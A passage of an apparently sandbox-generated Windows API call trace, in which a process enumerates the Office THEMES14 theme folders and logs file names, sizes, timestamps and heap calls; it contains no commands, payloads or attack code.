nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0081.626] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0081.626] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0081.627] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0081.627] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0081.627] GetProcessHeap () returned 0x550000 [0081.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0081.627] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0081.627] GetProcessHeap () returned 0x550000 [0081.627] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0081.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0081.636] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0081.637] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0081.637] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0081.637] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0081.637] GetProcessHeap () returned 0x550000 [0081.637] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0081.637] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0081.637] GetProcessHeap () returned 0x550000 [0081.637] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0081.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0081.652] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.652] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0081.652] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0081.652] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0081.652] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0081.652] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0081.653] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0081.653] GetProcessHeap () returned 0x550000 [0081.653] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0081.653] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0081.653] GetProcessHeap () returned 0x550000 [0081.653] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0081.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0082.028] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.028] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0082.028] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0082.028] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0082.368] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0082.368] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0082.368] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0082.369] GetProcessHeap () returned 0x550000 [0082.369] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0082.369] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0082.369] GetProcessHeap () returned 0x550000 [0082.369] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0082.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.079] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.079] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0083.080] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0083.080] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.080] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.080] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.082] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.082] GetProcessHeap () returned 0x550000 [0083.082] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.082] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0083.082] GetProcessHeap () returned 0x550000 [0083.082] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.122] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.122] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0083.122] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0083.122] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.122] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.123] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 